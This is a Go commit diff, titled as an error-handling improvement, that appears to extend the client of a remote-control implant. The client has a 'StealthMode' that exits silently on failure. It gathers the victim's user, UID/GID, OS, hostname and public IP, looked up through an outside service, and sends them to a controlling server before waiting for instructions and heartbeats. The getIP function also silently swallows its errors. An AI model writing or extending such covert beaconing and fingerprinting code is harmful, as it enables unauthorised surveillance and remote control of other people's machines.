Improve error handling and include public IP field

main.go

@@ -3,8 +3,10 @@ package main
 import (
 	"encoding/gob"
 	"fmt"
+	"io"
 	"log"
 	"net"
+	"net/http"
 	"os"
 	"os/user"
 	"runtime"
@@ -16,9 +18,15 @@ type Client struct {
 	GID             string
 	OperatingSystem string
 	Hostname        string
+	PublicIP        string
 }
 
 type Instructions struct {
+	IsHeartbeat bool
+	Message     string
+}
+
+type Response struct {
 	Message string
 }
 
@@ -42,23 +50,49 @@ func main() {
 		if StealthMode == true {
 			os.Exit(0)
 		} else {
-			log.Fatalf("Error happened getting OS info: %v\n", err)
+			log.Fatal(err)
 		}
 	}
 	for {
-		awaitInstructions(conn)
+		if err := awaitInstructions(conn); err != nil {
+			if StealthMode == true {
+				os.Exit(0)
+			} else {
+				log.Fatalf("Error happened awaiting instructions: %v\n", err)
+			}
+		}
 	}
 }
 
+func getIP() (string, error) {
+	res, err := http.Get("https://ip.bulgariu.xyz")
+	if err != nil {
+		return "", nil
+	}
+	resbody, err := io.ReadAll(res.Body)
+	if err != nil {
+		return "", nil
+	}
+	return string(resbody), nil
+}
+
 func sendOSInfo(conn net.Conn) error {
 	currentUser, err := user.Current()
 	if err != nil {
-		return err
+		e := fmt.Errorf("Error happened getting user: %v\n", err)
+		return e
 	}
 
 	clientHostname, err := os.Hostname()
 	if err != nil {
-		return err
+		e := fmt.Errorf("Error happened getting hostname: %v\n", err)
+		return e
+	}
+
+	ip, err := getIP()
+	if err != nil {
+		e := fmt.Errorf("Error happened pulling IP: %v\n", err)
+		return e
 	}
 
 	newClient := Client{
@@ -67,12 +101,14 @@ func sendOSInfo(conn net.Conn) error {
 		GID:             currentUser.Gid,
 		OperatingSystem: runtime.GOOS,
 		Hostname:        clientHostname,
+		PublicIP:        ip,
 	}
 
 	enc := gob.NewEncoder(conn)
 	err = enc.Encode(newClient)
 	if err != nil {
-		return err
+		e := fmt.Errorf("Error happened sending OS info to server: %v\n", err)
+		return e
 	}
 
 	return nil
@@ -85,6 +121,17 @@ func awaitInstructions(conn net.Conn) error {
 	if err != nil {
 		return err
 	}
-	fmt.Println(inst.Message)
+	if inst.IsHeartbeat == true {
+		return nil
+	}
+	return nil
+}
+
+func sendMessage(resp Response, conn net.Conn) error {
+	enc := gob.NewEncoder(conn)
+	err := enc.Encode(&resp)
+	if err != nil {
+		return err
+	}
 	return nil
 }